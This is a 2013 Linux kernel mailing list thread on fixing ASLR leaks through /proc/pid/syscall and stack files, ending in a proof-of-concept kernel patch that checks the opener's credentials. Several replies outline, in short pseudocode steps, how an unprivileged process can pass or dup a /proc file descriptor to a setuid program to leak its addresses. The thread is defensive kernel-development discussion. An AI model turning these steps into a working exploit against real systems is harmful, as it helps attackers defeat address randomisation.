[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

On Wed, Aug 28, 2013 at 6:08 PM, Eric W. Biederman
<[email protected]> wrote:
> Kees Cook <[email protected]> writes:
>
>> On Wed, Aug 28, 2013 at 5:26 PM, Eric W. Biederman
>> <[email protected]> wrote:
>>> Can someome please state what they are worried about in simple language
>>> step by step?
>>> [...]
>>> The closest I saw in the thread was people were worried about ASLR being
>>> defeated. All I see are kernel addresses and we don't have much if any
>>> runtime or even load time randomization of where code is located in the
>>> kernel address map on x86_64. So I don't understand the concern.
>>
>> I showed the output of "syscall", since that contains user-space
>> addresses and shows a leak of ASLR from a privileged process to an
>> unprivileged process.
>>
>> The flaw as I see it is that an unprivileged process opens
>> /proc/$priv_pid/syscall and passes it to a setuid process which is
>> able to read it, and provides those contents to the unprivileged
>> process.
>>
>> The unprivileged process should not be able to the open the file in
>> the first place.
>
> I see so the complaint is that we don't give read permission but we do
> give open permission. Which is a variant of: the permissions used to
> open are not the permission used to access the file.
>
> This does seem to be a legitimate concern.
>
> I think there are several discussions that have been going on lately
> with respect to this class of problems in proc files.
>
> Given the existence of suid exec we can not in general prevent this
> class of bugs with a check at open time.

I'm not suggesting removing the read check -- that's certainly needed.

> I believe the solution needs to be to enhance the ptrace_may_access
> checks to verify that both the creds of the current task and the creds
> of the opening process would have allowed the access.

As in, DAC perms are insufficient?

> We may want to put this check in permission so open fails quickly but
> we absolutely need to put this check in at the time we call
> ptrace_may_access.

-Kees

--
Kees Cook
Chrome OS Security

2013-08-29 07:42:39

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

Kees Cook <[email protected]> writes:

> On Wed, Aug 28, 2013 at 6:08 PM, Eric W. Biederman
> <[email protected]> wrote:
>> Kees Cook <[email protected]> writes:
>>
>>> On Wed, Aug 28, 2013 at 5:26 PM, Eric W. Biederman
>>> <[email protected]> wrote:
>>>> Can someome please state what they are worried about in simple language
>>>> step by step?
>>>> [...]
>>>> The closest I saw in the thread was people were worried about ASLR being
>>>> defeated. All I see are kernel addresses and we don't have much if any
>>>> runtime or even load time randomization of where code is located in the
>>>> kernel address map on x86_64. So I don't understand the concern.
>>>
>>> I showed the output of "syscall", since that contains user-space
>>> addresses and shows a leak of ASLR from a privileged process to an
>>> unprivileged process.
>>>
>>> The flaw as I see it is that an unprivileged process opens
>>> /proc/$priv_pid/syscall and passes it to a setuid process which is
>>> able to read it, and provides those contents to the unprivileged
>>> process.
>>>
>>> The unprivileged process should not be able to the open the file in
>>> the first place.
>>
>> I see so the complaint is that we don't give read permission but we do
>> give open permission. Which is a variant of: the permissions used to
>> open are not the permission used to access the file.
>>
>> This does seem to be a legitimate concern.
>>
>> I think there are several discussions that have been going on lately
>> with respect to this class of problems in proc files.
>>
>> Given the existence of suid exec we can not in general prevent this
>> class of bugs with a check at open time.
>
> I'm not suggesting removing the read check -- that's certainly needed.
>
>> I believe the solution needs to be to enhance the ptrace_may_access
>> checks to verify that both the creds of the current task and the creds
>> of the opening process would have allowed the access.
>
> As in, DAC perms are insufficient?

As in any checks at open time are insufficient.

Roughly what we need is to use the credentials that are present at open
time (file->f_cred) in the ptrace_may_access call instead of or
in addition to current_cred().

Eric

2013-08-29 09:11:35

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

Hi Eric,

On Wed, Aug 28, 2013 at 05:26:56PM -0700, Eric W. Biederman wrote:
>
> I have take a moment and read this thread, and have been completely
> unenlightend. People are upset but it is totally unclear why.
>
> There is no explanation why it is ok to ignore the suid-exec case, as
> the posted patches do. Which ultimately means the patches provide
Please, did you take a look at the patches ?
- INF("syscall", S_IRUGO, proc_pid_syscall),
+ INF("syscall", S_IRUSR, proc_pid_syscall),

Can you please tell me how did you come to the conclusion that the
patches "ignore the suid-exec case as the posted patches do" ?

I just did s/0444/0400/ which is pretty obvious and did not remove
that ptrace check at read() added by Al.

> little to no security benefit, and that the posted patches as written
> are broken.
They are correct. Perhaps you didn't take a closer look

Thanks Eric

--
Djalal Harouni
http://opendz.org

2013-08-29 22:14:35

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

On Thu, Aug 29, 2013 at 2:11 AM, Djalal Harouni <[email protected]> wrote:
> Hi Eric,
>
> On Wed, Aug 28, 2013 at 05:26:56PM -0700, Eric W. Biederman wrote:
>>
>> I have take a moment and read this thread, and have been completely
>> unenlightend. People are upset but it is totally unclear why.
>>
>> There is no explanation why it is ok to ignore the suid-exec case, as
>> the posted patches do. Which ultimately means the patches provide
> Please, did you take a look at the patches ?
> - INF("syscall", S_IRUGO, proc_pid_syscall),
> + INF("syscall", S_IRUSR, proc_pid_syscall),
>
> Can you please tell me how did you come to the conclusion that the
> patches "ignore the suid-exec case as the posted patches do" ?

There are a few conditions that need to be handled. The original fix
that Al landed was to stop this:

create IPC
fork child
child opens /proc/self/syscall
child sends fd to parent over IPC
child execs setuid process
parent reads setuid process's "syscall" file

The solution was to check perms of reader (in this case parent wasn't
privileged, so it gets denied).

The new problem is:

open /proc/$target/syscall
dup to stdin
exec setuid process that reports contents of stdin

So, changing perms to 0400 doesn't actually fix what we want to fix,
since it can still by bypassed under more limited situations:

open /proc/self/syscall
dup to stdin
exec setuid process that reports contents of stdin

So, changing to 0400 means only setuid programs that aren't already
running will have their ASLR leaked.

>
> I just did s/0444/0400/ which is pretty obvious and did not remove
> that ptrace check at read() added by Al.
>
>> little to no security benefit, and that the posted patches as written
>> are broken.
> They are correct. Perhaps you didn't take a closer look

Maybe I'm lacking imagination, but changing to 0400 does reduce the
scope of the leak from all processes to "just" what was execed. This
still needs to be addressed, but I don't see a way to handle this
without explicitly invalidating the /proc handle across exec.

-Kees

--
Kees Cook
Chrome OS Security

2013-08-31 20:26:52

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

(Sorry for my late response)

On Thu, Aug 29, 2013 at 03:14:32PM -0700, Kees Cook wrote:
> On Thu, Aug 29, 2013 at 2:11 AM, Djalal Harouni <[email protected]> wrote:
> > Hi Eric,
> >
> > On Wed, Aug 28, 2013 at 05:26:56PM -0700, Eric W. Biederman wrote:
> >>
> >> I have take a moment and read this thread, and have been completely
> >> unenlightend. People are upset but it is totally unclear why.
> >>
> >> There is no explanation why it is ok to ignore the suid-exec case, as
> >> the posted patches do. Which ultimately means the patches provide
> > Please, did you take a look at the patches ?
> > - INF("syscall", S_IRUGO, proc_pid_syscall),
> > + INF("syscall", S_IRUSR, proc_pid_syscall),
> >
> > Can you please tell me how did you come to the conclusion that the
> > patches "ignore the suid-exec case as the posted patches do" ?
>
> There are a few conditions that need to be handled. The original fix
> that Al landed was to stop this:
>
> create IPC
> fork child
> child opens /proc/self/syscall
> child sends fd to parent over IPC
> child execs setuid process
> parent reads setuid process's "syscall" file
>
> The solution was to check perms of reader (in this case parent wasn't
> privileged, so it gets denied).
Yes, of course

> The new problem is:
>
> open /proc/$target/syscall
> dup to stdin
> exec setuid process that reports contents of stdin
>
> So, changing perms to 0400 doesn't actually fix what we want to fix,
> since it can still by bypassed under more limited situations:
>
> open /proc/self/syscall
> dup to stdin
> exec setuid process that reports contents of stdin
>
> So, changing to 0400 means only setuid programs that aren't already
> running will have their ASLR leaked.
Yes I do realize. That change was only to block leaks against already
running processes and *restore* the old permissions.

> [...]
> Maybe I'm lacking imagination, but changing to 0400 does reduce the
> scope of the leak from all processes to "just" what was execed. This
> still needs to be addressed, but I don't see a way to handle this
> without explicitly invalidating the /proc handle across exec.
Yes Kees,

I did try a year ago to adapt the exec_id from grsecurity and failed
(and failed again to resend - not enough resources):
https://lkml.org/lkml/2012/3/10/174

Kees IMHO the right solution is to invalidate the fd across exec as
you suggest

Alan Cox's thread which describe the problem correctly:
https://lkml.org/lkml/2012/1/29/35

Alan suggested to revoke() the file handles.

So:
There are more of these /proc files with 0444 and without appropriate
ptrace protections that allow ASLR leaks, and doing 0400 will not
totally fix it, not to mention that 0400 on /proc/pid/maps can break
glibc, etc.

A solution would be to implement the per-cpu exec_id used in grsecurity
and also suggested here:
https://lkml.org/lkml/2012/3/11/23

grsecurity uses the current (reader) exec_id to track if this is still
the same reader. We can use the target exec_id instead of the reader to
bind all these files to their exec_id target task + ptrace checkes at
open(), read(), write()...

Can we consider this some sort of a revoke() for these special files?

Thanks

--
Djalal Harouni
http://opendz.org

2013-09-01 01:44:53

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

Djalal Harouni <[email protected]> writes:

> (Sorry for my late response)
>
> On Thu, Aug 29, 2013 at 03:14:32PM -0700, Kees Cook wrote:
>> On Thu, Aug 29, 2013 at 2:11 AM, Djalal Harouni <[email protected]> wrote:
>> > Hi Eric,
>> >
>> > On Wed, Aug 28, 2013 at 05:26:56PM -0700, Eric W. Biederman wrote:
>> >>
>> >> I have take a moment and read this thread, and have been completely
>> >> unenlightend. People are upset but it is totally unclear why.
>> >>
>> >> There is no explanation why it is ok to ignore the suid-exec case, as
>> >> the posted patches do. Which ultimately means the patches provide
>> > Please, did you take a look at the patches ?
>> > - INF("syscall", S_IRUGO, proc_pid_syscall),
>> > + INF("syscall", S_IRUSR, proc_pid_syscall),
>> >
>> > Can you please tell me how did you come to the conclusion that the
>> > patches "ignore the suid-exec case as the posted patches do" ?
>>
>> There are a few conditions that need to be handled. The original fix
>> that Al landed was to stop this:
>>
>> create IPC
>> fork child
>> child opens /proc/self/syscall
>> child sends fd to parent over IPC
>> child execs setuid process
>> parent reads setuid process's "syscall" file
>>
>> The solution was to check perms of reader (in this case parent wasn't
>> privileged, so it gets denied).
> Yes, of course
>
>
>> The new problem is:
>>
>> open /proc/$target/syscall
>> dup to stdin
>> exec setuid process that reports contents of stdin
>>
>> So, changing perms to 0400 doesn't actually fix what we want to fix,
>> since it can still by bypassed under more limited situations:
>>
>> open /proc/self/syscall
>> dup to stdin
>> exec setuid process that reports contents of stdin
>>
>> So, changing to 0400 means only setuid programs that aren't already
>> running will have their ASLR leaked.
> Yes I do realize. That change was only to block leaks against already
> running processes and *restore* the old permissions.
>
>
>> [...]
>> Maybe I'm lacking imagination, but changing to 0400 does reduce the
>> scope of the leak from all processes to "just" what was execed. This
>> still needs to be addressed, but I don't see a way to handle this
>> without explicitly invalidating the /proc handle across exec.
> Yes Kees,
>
> I did try a year ago to adapt the exec_id from grsecurity and failed
> (and failed again to resend - not enough resources):
> https://lkml.org/lkml/2012/3/10/174
>
>
> Kees IMHO the right solution is to invalidate the fd across exec as
> you suggest
>
> Alan Cox's thread which describe the problem correctly:
> https://lkml.org/lkml/2012/1/29/35
>
> Alan suggested to revoke() the file handles.

That was in particular with respect to /dev/mem.

In the general case calling setuid or any of it's cousins can cause the
same problem. So a revoke that only works at exec time is insufficient.

The problem we are examining is what happens when the file descriptor is
passed to a more privileged process that will pass the ptrace_may_access
check while the original process that opened the file did not.

We have file->f_cred that has the permissions of the process at open
time, and likely that should factor into the calculations somehow.

Alternatively we may simply be able to call get_task_cred() at the time
we open the file and if the cred on the process changes fail. I know
Linus was looking at something like that recently, but ran into problmes
with Chromes sandbox. (Sigh). Although I think he was talking about
file->f_cred...

This is most definitely a solvable problem with current mechanisms, but
it is going to take some grunt work to make it happen.

Eric

2013-09-01 15:04:09

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

On Sat, Aug 31, 2013 at 6:44 PM, Eric W. Biederman
<[email protected]> wrote:
> Djalal Harouni <[email protected]> writes:
>
>> (Sorry for my late response)
>>
>> On Thu, Aug 29, 2013 at 03:14:32PM -0700, Kees Cook wrote:
>>> On Thu, Aug 29, 2013 at 2:11 AM, Djalal Harouni <[email protected]> wrote:
>>> > Hi Eric,
>>> >
>>> > On Wed, Aug 28, 2013 at 05:26:56PM -0700, Eric W. Biederman wrote:
>>> >>
>>> >> I have take a moment and read this thread, and have been completely
>>> >> unenlightend. People are upset but it is totally unclear why.
>>> >>
>>> >> There is no explanation why it is ok to ignore the suid-exec case, as
>>> >> the posted patches do. Which ultimately means the patches provide
>>> > Please, did you take a look at the patches ?
>>> > - INF("syscall", S_IRUGO, proc_pid_syscall),
>>> > + INF("syscall", S_IRUSR, proc_pid_syscall),
>>> >
>>> > Can you please tell me how did you come to the conclusion that the
>>> > patches "ignore the suid-exec case as the posted patches do" ?
>>>
>>> There are a few conditions that need to be handled. The original fix
>>> that Al landed was to stop this:
>>>
>>> create IPC
>>> fork child
>>> child opens /proc/self/syscall
>>> child sends fd to parent over IPC
>>> child execs setuid process
>>> parent reads setuid process's "syscall" file
>>>
>>> The solution was to check perms of reader (in this case parent wasn't
>>> privileged, so it gets denied).
>> Yes, of course
>>
>>
>>> The new problem is:
>>>
>>> open /proc/$target/syscall
>>> dup to stdin
>>> exec setuid process that reports contents of stdin
>>>
>>> So, changing perms to 0400 doesn't actually fix what we want to fix,
>>> since it can still by bypassed under more limited situations:
>>>
>>> open /proc/self/syscall
>>> dup to stdin
>>> exec setuid process that reports contents of stdin
>>>
>>> So, changing to 0400 means only setuid programs that aren't already
>>> running will have their ASLR leaked.
>> Yes I do realize. That change was only to block leaks against already
>> running processes and *restore* the old permissions.
>>
>>
>>> [...]
>>> Maybe I'm lacking imagination, but changing to 0400 does reduce the
>>> scope of the leak from all processes to "just" what was execed. This
>>> still needs to be addressed, but I don't see a way to handle this
>>> without explicitly invalidating the /proc handle across exec.
>> Yes Kees,
>>
>> I did try a year ago to adapt the exec_id from grsecurity and failed
>> (and failed again to resend - not enough resources):
>> https://lkml.org/lkml/2012/3/10/174
>>
>>
>> Kees IMHO the right solution is to invalidate the fd across exec as
>> you suggest
>>
>> Alan Cox's thread which describe the problem correctly:
>> https://lkml.org/lkml/2012/1/29/35
>>
>> Alan suggested to revoke() the file handles.
>
> That was in particular with respect to /dev/mem.
>
> In the general case calling setuid or any of it's cousins can cause the
> same problem. So a revoke that only works at exec time is insufficient.
>
> The problem we are examining is what happens when the file descriptor is
> passed to a more privileged process that will pass the ptrace_may_access
> check while the original process that opened the file did not.
>
> We have file->f_cred that has the permissions of the process at open
> time, and likely that should factor into the calculations somehow.
>
> Alternatively we may simply be able to call get_task_cred() at the time
> we open the file and if the cred on the process changes fail. I know
> Linus was looking at something like that recently, but ran into problmes
> with Chromes sandbox. (Sigh). Although I think he was talking about
> file->f_cred...
>
> This is most definitely a solvable problem with current mechanisms, but
> it is going to take some grunt work to make it happen.

Well, in the meantime, it seems we should restore the 0400 perms,
since that at least covers the ASLR leak of running processes.

-Kees

--
Kees Cook
Chrome OS Security

2013-09-12 01:23:22

[permalink] [raw]

Subject: Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

Hi Eric,

(Sorry for the delay, please see below)

On Sat, Aug 31, 2013 at 06:44:39PM -0700, Eric W. Biederman wrote:
> Djalal Harouni <[email protected]> writes:
[...]
> > Yes Kees,
> >
> > I did try a year ago to adapt the exec_id from grsecurity and failed
> > (and failed again to resend - not enough resources):
> > https://lkml.org/lkml/2012/3/10/174
> >
> >
> > Kees IMHO the right solution is to invalidate the fd across exec as
> > you suggest
> >
> > Alan Cox's thread which describe the problem correctly:
> > https://lkml.org/lkml/2012/1/29/35
> >
> > Alan suggested to revoke() the file handles.
>
> That was in particular with respect to /dev/mem.
>
> In the general case calling setuid or any of it's cousins can cause the
> same problem. So a revoke that only works at exec time is insufficient.
Well, in that particular case the flaw is in the programs that don't
handle setuid and its cousins correctly. IMHO this is a different case,
our concerns here are external suid-exec programs.

A sort of revoke or file handle invalidating on exec is already used as
the close-on-exec flag.

>
> The problem we are examining is what happens when the file descriptor is
> passed to a more privileged process that will pass the ptrace_may_access
> check while the original process that opened the file did not.
>
> We have file->f_cred that has the permissions of the process at open
> time, and likely that should factor into the calculations somehow.
Ok, thanks

> Alternatively we may simply be able to call get_task_cred() at the time
> we open the file and if the cred on the process changes fail. I know
> Linus was looking at something like that recently, but ran into problmes
> with Chromes sandbox. (Sigh). Although I think he was talking about
> file->f_cred...
Ok, can you provide a link please? thanks

> This is most definitely a solvable problem with current mechanisms, but
> it is going to take some grunt work to make it happen.
Please see below for a small PoC to test what you suggest Eric

So we embed a f_cred inside a seq_file struct and set it at seq_open()
We can also remove that 'user_ns' that is embedded in seq_file sruct
since we'll have it inside the f_cred!

I've added a proc_may_access() function that will check the f_cred of
the opener against the target at read time, I've done this for:
1) the reader at open time may have enough permissions
2) reader does a suid-exec or change its ruid/euid
3) suid-exec or same reader with new privileged creds reads data

This is a legitimate scenario which I didn't want to block, so the fd
still can be passed but you will be able to read from it only if you
pass a) the classic ptrace check b) the check of f_cred against the
target.

IMO it's better than: check only if the cred of the process changes.

Since this is just a PoC for /proc/*/stack, I'll do more test, improve
it and send it as a series, thanks!

Any comment is welcome

diff --git a/fs/proc/base.c b/fs/proc/base.c
index 1485e38..025a53e 100644
--- a/fs/proc/base.c
+++ b/fs/proc/base.c
@@ -139,6 +139,54 @@ struct pid_entry {
NULL, &proc_single_file_operations, \
{ .proc_show = show } )

+/* Returns 0 on success, -errno on denial. */
+static int __proc_may_access(struct task_struct *task,
+ const struct cred *fcred, unsigned int mode)
+{
+ int ret = 0;
+ const struct cred *tcred;
+
+ rcu_read_lock();
+ tcred = __task_cred(task);
+ if (uid_eq(fcred->uid, tcred->euid) &&
+ uid_eq(fcred->uid, tcred->suid) &&
+ uid_eq(fcred->uid, tcred->uid) &&
+ gid_eq(fcred->gid, tcred->egid) &&
+ gid_eq(fcred->gid, tcred->sgid) &&
+ gid_eq(fcred->gid, tcred->gid))
+ goto out;
+
+ if (mode & PTRACE_MODE_NOAUDIT)
+ ret = security_capable_noaudit(fcred, tcred->user_ns,
+ CAP_SYS_PTRACE);
+ else
+ ret = security_capable(fcred, tcred->user_ns,
+ CAP_SYS_PTRACE);
+
+ if (ret)
+ ret = -EPERM;
+
+out:
+ rcu_read_unlock();
+ return ret;
+}
+
+/**
+ * proc_may_access - Check if the file's opener had enough permissions
+ * to access the target process.
+ *
+ * Callers must hold the task->signal->cred_guard_mutex
+ */
+int proc_may_access(struct task_struct *task,
+ const struct cred *fcred, unsigned int mode)
+{
+ int ret;
+ task_lock(task);
+ ret = __proc_may_access(task, fcred, mode);
+ task_unlock(task);
+ return !ret;
+}
+
/*
* Count the number of hardlinks for the pid_entry table, excluding the .
* and .. links.
@@ -306,6 +354,7 @@ static int proc_pid_stack(struct seq_file *m, struct pid_namespace *ns,
unsigned long *entries;
int err;
int i;
+ const struct cred *fcred = m->f_cred;

entries = kmalloc(MAX_STACK_TRACE_DEPTH * sizeof(*entries), GFP_KERNEL);
if (!entries)
@@ -317,17 +366,24 @@ static int proc_pid_stack(struct seq_file *m, struct pid_namespace *ns,
trace.skip = 0;

err = lock_trace(task);
- if (!err) {
- save_stack_trace_tsk(task, &trace);
+ if (err)
+ goto free;

- for (i = 0; i < trace.nr_entries; i++) {
- seq_printf(m, "[<%pK>] %pS\n",
- (void *)entries[i], (void *)entries[i]);
- }
- unlock_trace(task);
+ err = 0;
+ if (!proc_may_access(task, fcred, PTRACE_MODE_ATTACH))
+ goto unlock;
+
+ save_stack_trace_tsk(task, &trace);
+
+ for (i = 0; i < trace.nr_entries; i++) {
+ seq_printf(m, "[<%pK>] %pS\n",
+ (void *)entries[i], (void *)entries[i]);
}
- kfree(entries);

+unlock:
+ unlock_trace(task);
+free:
+ kfree(entries);
return err;
}
#endif
@@ -689,6 +745,22 @@ static int proc_single_show(struct seq_file *m, void *v)

static int proc_single_open(struct inode *inode, struct file *filp)
{
+ struct task_struct *task = get_proc_task(file_inode(filp));
+ struct mm_struct *mm;
+
+ if (!task)
+ return -ESRCH;
+
+ mm = mm_access(task, PTRACE_MODE_ATTACH);
+ put_task_struct(task);
+
+ if (IS_ERR(mm))
+ return PTR_ERR(mm);
+
+ /* do not pin mm */
+ if (mm)
+ mmput(mm);
+
return single_open(filp, proc_single_show, inode);
}

diff --git a/fs/proc/internal.h b/fs/proc/internal.h
index 651d09a..304ac5f 100644
--- a/fs/proc/internal.h
+++ b/fs/proc/internal.h
@@ -159,6 +159,8 @@ extern int proc_pid_statm(struct seq_file *, struct pid_namespace *,
/*
* base.c
*/
+extern int proc_may_access(struct task_struct *,
+ const struct cred *, unsigned int mode);
extern const struct dentry_operations pid_dentry_operations;
extern int pid_getattr(struct vfsmount *, struct dentry *, struct kstat *);
extern int proc_setattr(struct dentry *, struct iattr *);
diff --git a/fs/seq_file.c b/fs/seq_file.c
index 3135c25..a5e5b98 100644
--- a/fs/seq_file.c
+++ b/fs/seq_file.c
@@ -57,6 +57,7 @@ int seq_open(struct file *file, const struct seq_operations *op)
memset(p, 0, sizeof(*p));
mutex_init(&p->lock);
p->op = op;
+ p->f_cred = file->f_cred;
#ifdef CONFIG_USER_NS
p->user_ns = file->f_cred->user_ns;
#endif
diff --git a/include/linux/seq_file.h b/include/linux/seq_file.h
index 4e32edc..aea27e9 100644
--- a/include/linux/seq_file.h
+++ b/include/linux/seq_file.h
@@ -26,6 +26,7 @@ struct seq_file {
struct mutex lock;
const struct seq_operations *op;
int poll_event;
+ const struct cred *f_cred;
#ifdef CONFIG_USER_NS
struct user_namespace *user_ns;
#endif

--
Djalal Harouni
http://opendz.org

2013-10-04 00:41:40